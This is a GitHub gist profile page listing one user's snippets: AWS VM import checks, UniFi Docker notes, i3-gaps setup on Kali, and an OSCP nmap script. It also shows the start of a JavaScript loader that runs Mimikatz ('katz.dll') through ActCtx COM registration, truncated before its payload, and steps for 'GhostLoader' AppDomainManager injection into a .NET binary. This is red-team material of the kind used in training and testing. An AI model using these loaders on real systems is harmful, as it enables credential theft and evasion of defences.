Skip to content

Instantly share code, notes, and snippets.

View coffeegist's full-sized avatar
Coffee

Adam Brown coffeegist

Coffee
View GitHub Profile
#!/bin/bash
##########################################################################################
# AWS VM Import Instance Checker 1.2 #
# #
# The script has been implemented to simplify the VM Import process of the virtual #
# environment in AWS. #
# #
# The script checks that the requirements to import a VM in AWS are verified. #
# Please make a backup of the VM before to proceed. #
@coffeegist
coffeegist / OlderCode.js
Created February 12, 2022 02:07
Mimikatz in JS Oneliner
This file has been truncated, but you can view the full file.
new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Tools';
try {
var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="AllTheThings" version="0.0.0.0"/> <file name="katz.dll"> <comClass description="AllTheThings Class" clsid="{89565276-A714-4a43-912E-978BFEEDACDC}" threadingModel="Both" progid="AllTheThings"/> </file> </assembly>';
var ax = new ActiveXObject("Microsoft.Windows.ActCtx");
ax.ManifestText = manifest;
// Create Base64 Object, supports encode, decode
var Base64={characters:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(a){Base64.characters;var r="",c=0;do{var e=a.charCodeAt(c++),t=a.charCodeAt(c++),h=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,r+=Base64.characters.charAt(s)+Base64.characters.
@coffeegist
coffeegist / _Instructions_Reproduce.md
Created April 29, 2020 15:22
GhostLoader - AppDomainManager - Injection - 攻壳机动队

GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe
@coffeegist
coffeegist / unifi-notes.md
Last active April 25, 2019 13:05
Unifi Controller Notes

See systems conf for credentials

Running Unifi Controller for the First Time

mkdir -p ~/unifi/data 

mkdir ~/unifi/logs

docker run -d --net=host -e TZ='America/New_York' -v ~/unifi/data:/var/lib/unifi -v ~/unifi/logs:/var/log/unifi -p 8080:8080 -p 8443:8443 -p 8843:8843 -p 8880:8880 -p 3478:3478/udp -p 6789:6789 -p 10001:10001/udp --name unifi-current jacobalberty/unifi:stable
@coffeegist
coffeegist / i3-gaps-install.md
Last active December 5, 2023 15:58
Install i3-gaps on Kali

Installation

root@kali:~# apt-get update
root@kali:~# apt-get install git build-essential autoconf pkg-config # fresh systems only
root@kali:~# apt-get install i3 # to get dependencies
root@kali:~# mkdir gui && cd gui
root@kali:~# git clone https://www.github.com/Airblader/i3 i3-gaps
root@kali:~# cd i3-gaps
root@kali:~# autoreconf --force --install
@coffeegist
coffeegist / config
Created July 17, 2018 18:59
Current i3 Config
# This file has been auto-generated by i3-config-wizard(1).
# It will not be overwritten, so edit it as you like.
#
# Should you change your keyboard layout some time, delete
# this file and re-run i3-config-wizard(1).
#
# i3 config file (v4)
#
# Please see http://i3wm.org/docs/userguide.html for a complete reference!
@coffeegist
coffeegist / nmap-tcp-full.sh
Last active May 23, 2022 20:20
OSCP nmap scripts
if [ "$#" -ne 3 ]; then
echo "Usage: nmap-tcp-full.sh <TCP-QUICK-RESULTS.XML> <TARGET> <OUTPUT-FILENAME>"
exit 1
fi
nmap -nvv -Pn -sSV -T1 -p$(cat $1 | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -) --version-intensity 9 -A -oA $3 $2